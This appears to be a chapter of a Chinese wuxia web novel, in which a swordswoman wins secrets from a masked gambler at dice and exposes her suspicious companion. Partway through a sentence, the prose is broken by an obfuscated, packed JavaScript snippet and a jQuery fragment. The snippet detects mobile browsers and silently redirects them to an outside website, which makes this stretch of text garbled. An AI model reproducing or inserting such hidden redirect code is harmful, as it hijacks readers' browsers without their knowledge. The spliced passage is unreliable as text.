见其蓦然驻足,凌犀心头一紧,忙收步凝神。
“景大侠...”
面前整整齐齐列着十余个手持棍棒的杂役。
管事捻着八字须倚在门框边,眯眼笑道:“听说这位爷赢了满堂红...这手气正旺,不如再开几局?”
——这些庄家惯用的伎俩,往往是先抛出诱饵,待目标上钩后再收割暴利。似夜来这般大获全胜便抽身离去的赌客,赌场自然要设法阻拦。
夜来素手一拂,三尺青锋应声出鞘。未见她如何出手,壮汉们手中兵刃竟齐刷刷断作两截。
好一柄吹毛立断的宝剑。
堂中看客面面相觑,心知今日碰上了硬茬。
“我可不是来砸场子的。”夜来掂了掂沉甸甸的银袋,含笑回应,“开倒是愿开。只是拿这些铜臭烂铁...寒碜爷呢?”
管事会意,忙不迭作揖:“折煞小人了。全因下人无眼,请您海涵。贵客若要玩芳菲戏,雅间已备香茗细点——”他伸手便作请状。
“芳菲戏?”夜来嗤笑一声,跟着入内。
但见室内格局与正堂迥异,风雅无两。八幅檀木屏风隔出数间,隐约可见人影绰绰,却无半点声响——原是来客多在此以密语相谈,借机避人耳目。
掌事边引路边解释:“此戏本是秋娘子为解寨中寂寥所创的赌局。后来赌坊扩建,为表纪念,便沿用此名作暗语。外头都是些不入流的,贵客日后若再来,只需报此名号,自会有人引至清净所在。”
夜来抬手:“那倒免了。什么樗蒲双陆一概不玩,雀牌天九统统不会,至于斗鸡走犬,更是一窍不通。”
掌事了然:“好商量...芳菲戏不玩这些,只掷骰子,比大小,贵客意下如何?”
“正合我意。”
“客官这边请。”掌事引路时却将凌犀拦在门廊,“这位夫人...”
赌坊素来禁绝女客,此刻掌事将其扣下,分明暗含要挟之意。
夜来一把扣住凌犀纤腰,惹得后者惊呼一声,面染红霞。
“怎的?我进得,她便进不得?”
——值此命悬一线之际,倘若仍予人可乘之机,今日她便不必再有所作为。
凌犀只觉一股冷香萦绕鼻端,暗忖这人虽是个江湖粗人,竟藏着这般雅致熏香,心中却添了几分好感。
“这...”管事环顾四周,见屋内静候之人轻轻点头示意,似是默许。他拭去额角汗珠,勉强应下,“也好。贵客谨记——芳菲席间,语必尽详。若问玄机,先设赌局。”
夜来颔首入座,凌犀默然侍立其侧。
戴着黄金面具的黑袍人抬手示意,沙哑嗓音自兜帽下传出:
“请。”
他话音方落,大掌一拂,六枚玉骰分作两边,整齐排列,分明是要来客先行开局。
夜来凝视着对方从袖中探出的手掌,骨节如青竹般劲挺修长——若执三尺青锋,当是绝世剑客的手。
只见他将那堆金银财宝如弃敝屣般远远抛开,夜来不由挑眉。
“赌注几何?”
面具下传来低沉笑声。
“此间唯有赌者与赌具,不妨以你身侧女子作注——”
凌犀面色煞白,却见夜来从容应声:“好。是我逾矩在先,便依阁下所言。”
“景大侠...”凌犀攥住夜来袖口,却听夜来转首轻语:“莫慌,我自有考量。”
她信手拈起木筒略晃,稳稳扣于案上。金面人如法炮制,跟着沉掌于案。
夜来唇角掠过胜券在握的笑意。
“押大。”
凌犀心跳如擂,木筒揭开刹那,骰面赫然呈四五六顺数,她当即松了一口气。
金面人目光在她身上稍驻,坦然以传音入密道:“阁下欲问何事?”
“金盘村百姓现在何处?”
“金盘村?”金面人语气迟疑,“那处早已荒废多年......”
气氛骤僵,夜来余光扫过凌犀,见对方眼中异样——因着传音密语,却也听不到两人谈话,于是夜来不着痕迹地轻笑道:
“不过些许试探,阁下海涵。请接着开局。”
金面人微微颔首,新局再启。
盏茶工夫,骰声渐歇,夜来筒中三枚玉骰赫然现出六点。
金面人面色挫败,掌中结果如何,显然已不必再看。
“承让。”夜来含笑,从袖中摸出一枚骨牌,“可识得此物?”
“这是...”金面人俯身细观,“尊驾来得不巧,牌主半月前尚在赌坊厮混,眼下应当离了永南地界...”
夜来挑眉:“单凭牌面就能断物主?”
“阁下有所不知,这套骨牌暗藏玄机。迎光可见暗纹‘千’字。那厮惯用此物作千,道上都看不起他,虽屡遭围堵,却总能在事发前改换装束遁逃。此番寨主亲令追拿,想来是走漏风声,又教他金蝉脱壳...”
“原来如此。”夜来微微点头。正是此人散布消息引江湖人马争夺碧天剑,虽常年在赌坊周旋,却能全身而退,确是个棘手角色。
“可还有其他线索?”
“不知。”金面人摇头,“阁下当知,唯有输家才会在此透露讯息——此人天九牌技出神入化,偏又沉迷赌局,见局必入。若要寻他踪迹,恐怕要候下回...”
夜来暗自焦灼,下回...又是遥遥无期。
若能得桃花寨幕后主人襄助,此事或可另辟蹊径。
思及此处,她展颜笑道:“好说。咱们继续。”
夜来腕骨挪移,却总比金面人慢上半拍。
这须臾之差,便是天堑。
“我押大。”夜来微笑。
金面人深吸一口气,技不如人,却只能认栽。
“阁下欲问何事?”
“问剑山庄有何秘辛?”
“不知。”
“万寿宫长生秘法?”
“不知。”
“天雪山圣物踪迹?”
“不知。”
“霜华诀残篇下落?”
“...不知。”
......
九对八,十三对十二,四对五...
每次都恰好只差一点点...
凌犀看得胆战心惊,珠翳下的面庞血色尽褪。每局胜负都事关她的生死去向,偏生这两人谈话简短而隐秘,她虽不知以何作问,看着夜来一次次掷骰,倒似故意虚掷筹码...
——究竟是他太过自信,还是他并未将自己放在眼里?
凌犀咬唇不语,岂料金面人早已如坐针毡。黄金面具后的额角,已渗出细密汗珠。
“阁下何不换个路数...”金面人似是在思索着措辞,终于开口道,“譬如南北漕运财路?譬如武林绝学?亦或
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415357|166670||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是...如何讨得秋盈盈的欢心?”
“我对这些都不感兴趣。”夜来倾身低语,“倒是阁下若答不出,不如改换赌约。咱们就赌...这女人的一双腿,可好?”
金面人尚未反应,凌犀已勃然色变,恼羞成怒道:
“景大侠我究竟何处得罪?你非要这般羞辱于我?”
“凌犀姑娘...我不知你出身几何,也不知你为何引我来此。”夜来神色淡漠,“以清白之躯作饵着实新奇。但切记莫将自己置于险境。不然,很容易露馅。”
她掌中白雾隐现。
“毕竟,人都是怕死的。”
凌犀恍然,对方早识破解毒丹实为剧毒,却还喂她服下,便是存了试探之意...她原以为及时睁眼便能瞒天过海。
——好毒辣的手段!竟要试她性命。
夜来旋即笑道:“念你身法卓绝,容你先行十步...我倒是好奇,是我的霜华掌快,还是你的脚程快。”
凌犀眼见真气已在对方掌心凝聚,只得凝聚内劲腾身而起,如离弦之箭般窜出。
蓦地,破空声骤响,凌犀只觉后心剧痛,便似折翼孤鸿,陡然坠落。凌犀费力转头回望,与她一同坠地的还有一截暗红剑鞘。
“你......”她终究未能吐露完整语句,便被夜来点住穴道,浑身一僵。
“倒是个傻的。”夜来嗤笑着寻来麻绳,将昏迷的凌犀捆缚妥当,“我得是多有闲情逸致,才要与你比轻功?”
——不过,这“飞叶寻花”倒是好用。
凌犀口不能言,又动弹不得,只得以那双美眸瞪视着夜来。
夜来缚住凌犀,安然落座,向着金面人拱手致意:“小小意外,望君海涵。”
金面人始终静坐如钟,眼帘低垂——这本非他当过问之事。只是见了对方手中那把红色剑鞘,一贯从容的金面人竟失态起身。
“此物尊驾从何得来?”
夜来暗自蹙眉。她早料定啼血客与桃花寨必有牵连,方会邀她前来——只是这厮反应怎会这般激烈?
思忖片刻,她仍作淡然状:“尊驾莫要坏了江湖规矩,欲问究竟,先开赌局。”
“请。”金面人一怔,只得落座。
骰筒在夜来掌心轻旋,骰子泠然作响。对面那人指节泛白,竟将骰筒攥得咯咯轻颤。
——饵已入彀,那就莫怪她翻脸了。
“砰——”
骰筒落定。
此时饶是常年混迹赌场的金面人也不禁目光古怪。半晌,他舔了舔干涩的唇瓣,低声开口:“尊驾此番欲押大押小?”
夜来略一勾唇。
“自然是——”
“压小。”
她拂开木筒,但见三枚骰子叠若浮屠,最顶端赫然是一点殷红朱砂。然而待金面人开启竹筒,赫然显现三枚竖向骰子,顶端亦是红点分明。
对赌双方竟成平局。
金面人脸色倏变,此番已使毕生绝学,他却惊觉对手听骰辨数的功夫也是炉火纯青。
“此局既平,唯有...”
“且慢。”夜来轻笑一声,屈指轻敲案几。
料想玉骰应声崩解,轰然塌作一摊玉色齑粉。
“你!”金面人见状霍然起身,连忙瞪向夜来。却见后者神色淡淡,低声道:
“空即是无。此刻当是在下略胜半筹?”